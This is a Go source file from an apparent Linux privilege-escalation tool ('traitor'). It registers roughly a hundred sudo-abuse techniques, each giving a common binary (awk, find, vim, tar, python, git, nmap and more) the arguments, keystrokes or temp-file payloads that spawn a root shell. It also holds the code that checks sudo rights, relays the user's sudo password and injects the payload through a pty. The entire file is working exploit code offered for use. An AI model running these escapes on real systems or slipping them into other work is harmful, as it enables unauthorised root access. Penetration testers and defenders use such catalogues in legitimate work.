package exploits

import (
	"context"
	"fmt"
	"io"
	"io/ioutil"
	"os"
	"os/exec"
	"os/signal"
	"strings"
	"syscall"
	"time"

	"github.com/liamg/traitor/internal/pipe"

	"github.com/creack/pty"
	"github.com/liamg/traitor/pkg/logger"
	"github.com/liamg/traitor/pkg/payloads"
	"github.com/liamg/traitor/pkg/state"
	"golang.org/x/crypto/ssh/terminal"
)

type gtfobinsExploit struct {
	binaryName     string
	inputs         []string
	args           []string
	entry          *state.SudoEntry
	envs           []string
	tmpFileContent string
}

func NewGTFOBinsExploit(binaryName string, inputs []string, args []string, envs []string, tmpFileContent string) *gtfobinsExploit {
	return &gtfobinsExploit{
		binaryName:     binaryName,
		inputs:         inputs,
		args:           args,
		envs:           envs,
		tmpFileContent: tmpFileContent,
	}
}

func registerGTFOBinsExploit(binaryName string, args []string, inputs []string, envs []string, tmpFileContent string) {
	register(
		fmt.Sprintf("gtfobins:%s", binaryName),
		SpeedFast,
		NewGTFOBinsExploit(binaryName, inputs, args, envs, tmpFileContent),
	)
}

func init() {

	registerGTFOBinsExploit(
		"apt-get",
		[]string{
			"changelog", "apt",
		},
		[]string{
			"!/bin/sh\n",
		},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"apt",
		[]string{
			"changelog", "apt",
		},
		[]string{
			"!/bin/sh\n",
		},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"ash",
		nil,
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"awk",
		[]string{
			"BEGIN {system(\"/bin/sh\")}",
		},
		[]string{"\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"bash",
		nil,
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"bundler",
		[]string{"help"},
		[]string{"!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"busctl",
		[]string{"--show-machine"},
		[]string{"!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"busybox",
		[]string{"sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"byebug",
		[]string{"$PWNFILE"},
		[]string{"continue\n"},
		nil,
		"system(\"/bin/sh\")\n",
	)
	registerGTFOBinsExploit(
		"capsh",
		[]string{"--"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"check_by_ssh",
		[]string{
			"-o",
			"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)",
			"-H",
			"localhost",
			"-C",
			"xx",
		},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"check_cups",
		[]string{"-xFj", "--frelax-syntax-checks", "$PWNFILE"},
		nil,
		nil,
		"CALL \"SYSTEM\" USING \"/bin/sh\".",
	)
	registerGTFOBinsExploit(
		"cowsay",
		[]string{"-f", "$PWNFILE", "x"},
		nil,
		nil,
		"exec \"/bin/sh\";",
	)
	registerGTFOBinsExploit(
		"cowthink",
		[]string{"-f", "$PWNFILE", "x"},
		nil,
		nil,
		"exec \"/bin/sh\";",
	)
	registerGTFOBinsExploit(
		"cpan",
		nil,
		[]string{"! exec '/bin/sh'\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"cpulimit",
		[]string{"-l", "100", "-f", "/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"crash",
		[]string{"-h"},
		[]string{"!sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"csh",
		[]string{""},
		[]string{""},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"dash",
		[]string{""},
		[]string{""},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"dmesg",
		[]string{"-h"},
		[]string{"!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"dpkg",
		[]string{"-l"},
		[]string{"!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"eb",
		[]string{"logs"},
		[]string{"!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"ed",
		nil,
		[]string{"!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"emacs",
		[]string{"-Q", "-nw", "--eval", "(term \"/bin/sh\")"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"env",
		[]string{"/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"ex",
		nil,
		[]string{"!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"expect",
		[]string{"-c", "spawn /bin/sh;interact"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"find",
		[]string{"find", ".", "-exec", "/bin/sh", "\\;", "-quit"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"flock",
		[]string{"-u", "/", "/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"ftp",
		nil,
		[]string{"!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"gawk",
		[]string{"BEGIN {system(\"/bin/sh\")}"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"gcc",
		[]string{"-wrapper", "/bin/sh,-s", "."},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"gdb",
		[]string{"-nx", "-ex", "'!sh'", "-ex", "quit"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"gem",
		[]string{"open", "-e", "/bin/sh -c /bin/sh", "rdoc"},
		[]string{""},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"ghc",
		[]string{"-e", "System.Process.callCommand \"/bin/sh\""},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"ghci",
		nil,
		[]string{"System.Process.callCommand \"/bin/sh\"\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"gimp",
		[]string{"-idf", "--batch-interpreter=python-fu-eval", "-b", "import os; os.system(\"sh\")"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"git",
		[]string{"-p", "help"},
		nil,
		[]string{"PAGER='sh -c \"exec sh 0<&1\"'"},
		"",
	)
	registerGTFOBinsExploit(
		"gtester",
		[]string{"-q", "$PWNFILE"},
		nil,
		nil,
		"#!/bin/sh\n\nexec /bin/sh -p 0<&1\n",
	)
	registerGTFOBinsExploit(
		"hping3",
		nil,
		[]string{"/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"iftop",
		nil,
		[]string{"!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"ionice",
		[]string{"/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"irb",
		nil,
		[]string{"exec '/bin/bash'\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"journalctl",
		nil,
		[]string{"!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"jrunscript",
		[]string{"-e", "exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"ksh",
		nil,
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"less",
		[]string{"-f", "/dev/null"},
		[]string{"!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"logsave",
		[]string{"/dev/null", "/bin/sh", "-i"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"ltrace",
		[]string{"-b", "-L", "/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"lua",
		[]string{"-e", "os.execute(\"/bin/sh\")"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"mail",
		[]string{"--exec='!/bin/sh'"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"make",
		[]string{"-s", "--eval=$'x:\\n\\t-'\"${COMMAND}\""},
		nil,
		[]string{"COMMAND=/bin/sh"},
		"",
	)
	registerGTFOBinsExploit(
		"man",
		[]string{"man"},
		[]string{"!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"mawk",
		[]string{"BEGIN {system(\"/bin/sh\")}"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"more",
		[]string{"/etc/profile"},
		[]string{"!/bin/sh\n"},
		[]string{"TERM="},
		"",
	)
	registerGTFOBinsExploit(
		"mysql",
		[]string{"-e", "\\! /bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"nano",
		nil,
		[]string{string([]byte{byte('r' - 96), byte('x' - 96)}), "reset; sh 1>&0 2>&0\r\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"nawk",
		[]string{"BEGIN {system(\"/bin/sh\")}"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"nice",
		[]string{"/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"nmap",
		[]string{"--script=$PWNFILE"},
		[]string{"\n"},
		nil,
		"os.execute(\"/bin/sh\")",
	)
	registerGTFOBinsExploit(
		"node",
		[]string{"-e", "require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]});"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"nohup",
		[]string{"/bin/sh", "-c", "sh <$(tty) >$(tty) 2>$(tty)"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"nsenter",
		[]string{"/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"pdb",
		[]string{"$PWNFILE"},
		[]string{"cont\n"},
		nil,
		"import os; os.system(\"/bin/sh\")",
	)
	registerGTFOBinsExploit(
		"perl",
		[]string{"-e", "exec \"/bin/sh\";"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"pg",
		[]string{"/etc/profile"},
		[]string{"!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"php",
		[]string{"-r", "system(getenv(\"PWN\"));"},
		nil,
		[]string{"PWN=/bin/sh"},
		"",
	)
	registerGTFOBinsExploit(
		"pic",
		[]string{"-U"},
		[]string{".PS\n", "sh X sh X\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"pico",
		[]string{""},
		[]string{string([]byte{byte('r' - 96), byte('x' - 96)}), "reset; sh 1>&0 2>&0\r\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"pry",
		nil,
		[]string{"system(\"/bin/sh\")\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"psql",
		nil,
		[]string{"\\?\n", "!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"puppet",
		[]string{"apply", "-e", "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"python",
		[]string{"-c", "import os; os.system(\"/bin/sh\")"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"rake",
		[]string{"-p", "`/bin/sh 1>&0`"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"rlwrap",
		[]string{"/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"rpm",
		[]string{"eval", "%{lua:os.execute(\"/bin/sh\")}"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"rpmquery",
		[]string{"eval", "%{lua:os.execute(\"/bin/sh\")}"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"rsync",
		[]string{"-e", "sh -c \"sh 0<&2 1>&2\"", "127.0.0.1:/dev/null"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"ruby",
		[]string{"-e", "exec \"/bin/sh\""},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"run-mailcap",
		[]string{"--action=view", "/etc/hosts"},
		[]string{"!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"run-parts",
		[]string{"--new-session", "--regex", "^sh$", "/bin"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"rview",
		[]string{"-c", ":py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"rvim",
		[]string{"-c", ":py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"scp",
		[]string{"-S", "$PWNFILE", "x", "y"},
		nil,
		nil,
		"sh 0<&2 1>&2",
	)
	registerGTFOBinsExploit(
		"screen",
		nil,
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"script",
		[]string{"-q", "/dev/null"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"sed",
		[]string{"-n", "1e exec sh 1>&0", "/etc/hosts"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"service",
		[]string{"../../../../../bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"setarch",
		[]string{"x86_64", "/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"sftp",
		[]string{"-o", "StrictHostKeyChecking=no", "demo@test.rebex.net"},
		[]string{"password\n", "!/bin/sh\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"slsh",
		[]string{"-e", "system(\"/bin/sh\")"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"socat",
		[]string{"stdin", "exec:/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"split",
		[]string{"--filter=/bin/sh", "/dev/stdin"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"sqlite3",
		[]string{"/dev/null", ".shell /bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"ssh",
		[]string{"-o", "ProxyCommand=';sh 0<&2 1>&2'", "x"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"start-stop-daemon",
		[]string{"-n", "$RANDOM", "-S", "-x", "/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"stdbuf",
		[]string{"-i0", "/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"strace",
		[]string{"-o", "/dev/null", "/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"tar",
		[]string{"-cf", "/dev/null", "/dev/null", "--checkpoint=1", "--checkpoint-action=exec=/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"taskset",
		[]string{"1", "/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"tclsh",
		nil,
		[]string{"exec /bin/sh <@stdin >@stdout 2>@stderr\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"time",
		[]string{"/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"timeout",
		[]string{"7d", "/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"tmux",
		nil,
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"unshare",
		[]string{"/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"valgrind",
		[]string{"/bin/sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"vi",
		nil,
		[]string{
			":set shell=/bin/sh\n",
			":shell\n",
		},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"vim",
		nil,
		[]string{
			":set shell=/bin/sh\n",
			":shell\n",
		},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"vimdiff",
		nil,
		[]string{
			":set shell=/bin/sh\n",
			":shell\n",
		},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"watch",
		[]string{"-x", "sh", "-c", "reset; exec sh 1>&0 2>&0"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"wish",
		nil,
		[]string{"exec /bin/sh <@stdin >@stdout 2>@stderr\n"},
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"xargs",
		[]string{"-a", "/dev/null", "sh"},
		nil,
		nil,
		"",
	)
	registerGTFOBinsExploit(
		"zip",
		[]string{"$PWNFILE", "/etc/hosts", "-T", "-TT", "sh #"},
		[]string{"\r\n"},
		nil,
		"\n",
	)
	registerGTFOBinsExploit(
		"zsh",
		nil,
		nil,
		nil,
		"",
	)
}

func (v *gtfobinsExploit) IsVulnerable(_ context.Context, state *state.State, log logger.Logger) bool {
	entry, err := state.SudoEntries.GetEntryForBinary(
		v.binaryName,
		state.HasPassword,
	)
	if err != nil || entry == nil {
		return false
	}
	if entry.AllCommands {
		if _, err := exec.LookPath(v.binaryName); err != nil {
			return false
		}
	} else if len(v.args) > 0 && len(strings.Split(entry.Command, " ")) > 1 {
		return false
	}
	v.entry = entry
	return true
}

func (v *gtfobinsExploit) Shell(ctx context.Context, s *state.State, log logger.Logger) error {
	return v.Exploit(ctx, s, log, payloads.Defer)
}

func (v *gtfobinsExploit) Exploit(ctx context.Context, s *state.State, log logger.Logger, payload payloads.Payload) error {

	command := v.entry.Command
	if v.entry.AllCommands {
		binaryPath, err := exec.LookPath(v.binaryName)
		if err != nil {
			return err
		}
		command = binaryPath
	}

	log.Printf("Using command '%s'...", command)

	args := strings.Split(command, " ")

	if len(v.args) > 0 {
		args = append(args, v.args...)
	}

	if !s.HasPassword {
		args = append([]string{"-n"}, args...)
	}

	cmd := exec.Command("sudo", args...)

	if len(v.envs) > 0 {
		log.Printf("Adding env var(s)...")
		cmd.Env = append(os.Environ(), v.envs...)
	}

	if v.tmpFileContent != "" {

		log.Printf("Writing temporary file...")

		tempFile, err := ioutil.TempFile(os.TempDir(), "t")
		if err != nil {
			return err
		}
		if _, err := tempFile.Write([]byte(v.tmpFileContent)); err != nil {
			_ = tempFile.Close()
			return err
		}
		if err := tempFile.Close(); err != nil {
			return err
		}
		defer func() {
			_ = os.Remove(tempFile.Name())
		}()
		_ = os.Chmod(tempFile.Name(), 0755)

		cmd.Env = append(cmd.Env, fmt.Sprintf("PWNFILE=%s", tempFile.Name()))
	}

	log.Printf("Starting command with pty...")

	// Start the command with a pty.
	ptmx, err := pty.Start(cmd)
	if err != nil {
		return err
	}
	// Make sure to close the pty at the end.
	defer func() { _ = ptmx.Close() }() // Best effort.

	log.Printf("Setting up terminal...")

	// Handle pty size.
	ch := make(chan os.Signal, 1)
	signal.Notify(ch, syscall.SIGWINCH)
	go func() {
		for range ch {
			_ = pty.InheritSize(os.Stdin, ptmx)
		}
	}()
	ch <- syscall.SIGWINCH // Initial resize.

	// Set stdin in raw mode.
	oldState, err := terminal.MakeRaw(int(os.Stdin.Fd()))
	if err != nil {
		return err
	}
	defer func() { _ = terminal.Restore(int(os.Stdin.Fd()), oldState) }() // Best effort.

	expChan := make(chan error)

	lockable := pipe.NewLockable(ptmx)

	if s.HasPassword {
		log.Printf("Authenticating with sudo...\r")
		if err := lockable.WaitForString("[sudo] password for", time.Second*2); err == nil {
			_ = lockable.Flush()
			fmt.Printf("\r[sudo] password: ")
			password, err := terminal.ReadPassword(int(os.Stdin.Fd()))
			fmt.Println("\r")
			if err != nil {
				return err
			}
			if _, err := ptmx.Write([]byte(fmt.Sprintf("%s\n", password))); err != nil {
				return err
			}
			if err := lockable.WaitForString("Sorry, try again.", time.Second*4); err == nil {
				_ = lockable.Flush()
				return fmt.Errorf("invalid password")
			}
			time.Sleep(time.Millisecond * 100)
		}
	}

	log.Printf("Writing payload...\r")

	go func() {
		for _, input := range v.inputs {
			time.Sleep(time.Millisecond * 100)
			if _, err := ptmx.Write([]byte(input)); err != nil {
				expChan <- err
				return
			}
		}
		if payload != payloads.Defer {
			time.Sleep(time.Millisecond * 100)
			if _, err := ptmx.Write([]byte(payload)); err != nil {
				expChan <- err
				return
			}
			time.Sleep(time.Millisecond * 100)
			if _, err := ptmx.Write([]byte{0x0a}); err != nil {
				expChan <- err
				return
			}
		}
		expChan <- nil
	}()

	// Copy stdin to the pty and the pty to stdout.
	go func() { _, _ = io.Copy(ptmx, os.Stdin) }()
	_, _ = io.Copy(os.Stdout, lockable)

	if err := <-expChan; err != nil {
		return err
	}

	return ptmx.Close()
}
